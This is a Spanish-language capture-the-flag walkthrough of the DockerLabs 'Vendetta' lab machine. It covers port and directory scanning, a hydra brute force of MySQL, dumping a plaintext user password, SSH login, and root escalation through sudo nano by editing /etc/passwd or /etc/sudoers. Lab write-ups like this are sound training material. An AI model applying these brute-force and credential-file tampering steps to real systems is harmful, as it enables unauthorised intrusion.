Vendetta - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | misk0z |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Puertos Descubiertos
Durante el escaneo, descubrimos los siguientes puertos abiertos:
80(HTTP)22(SSH)3306(MySQL)
Realizamos un escaneo más detallado para obtener información sobre los servicios en estos puertos:
nmap -p22,80,3306 -sCV 172.17.0.2 -oG targeted
Exploración Web
Al navegar al puerto 80, descubrimos un sitio web con el título “V de Vendetta”.
Pistas Iniciales
El sitio contiene dos imágenes con el texto: “Visible pero a la vez oculto, si sabes su nombre sabes todo”.
Para investigar, utilizamos Gobuster y exploramos directorios en el sitio:
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir: Realiza un escaneo de directorios.-u http://172.17.0.2/: URL objetivo.-w: Diccionario a utilizar.-x: Extensiones de archivo para buscar.
Conexión MySQL
Interpretamos que la pista “Visible pero a la vez oculto” se refiere a la letra V. Probamos este nombre como usuario para conectarnos al servicio MySQL con hydra:
hydra -l V -P worlist.txt mysql://172.17.0.2 -t 4
Obtenemos las credenciales y accedemos a la base de datos:
mysql -h 172.17.0.2 -u V -p
Si aparece el error “TLS/SSL error: SSL is required”, utilizamos la opción --skip-ssl:
mysql -h 172.17.0.2 -u V -p --skip-ssl
Exploración de la Base de Datos
Dentro del sistema, exploramos el contenido:
Bases de Datos Disponibles
show databases;
Selección de Base de Datos
Entramos en la base de datos BTN:
use BTN;
Tablas Disponibles
Listamos las tablas:
show tables;
Usuarios
Extraemos los datos de la tabla users:
select * from users;
Obtenemos las siguientes credenciales:
+----+----------+-----------+
| id | user | password |
+----+----------+-----------+
| 1 | Vendetta | OldBailey |
+----+----------+-----------+
Acceso por SSH
Intentamos conectarnos al servidor por SSH con las credenciales:
ssh Vendetta@172.17.0.2
Escalada de Privilegios
Ejecutamos sudo -l y descubrimos que el usuario tiene permisos para ejecutar nano como root. Consultamos GTFOBins para aprovechar este binario.
Métodos de Escalada
1. Modificar /etc/passwd
Editamos el archivo /etc/passwd para eliminar la x del usuario root, permitiendo acceso sin contraseña:
Ya somos root:
2. Modificar /etc/sudoers
Editamos el archivo /etc/sudoers para dar permisos de root al usuario Vendetta:
3. Generar una Shell con nano
Usamos nano para generar una shell interactiva:
De esta manera logramos acceso completo al sistema como root. ¡Misión cumplida!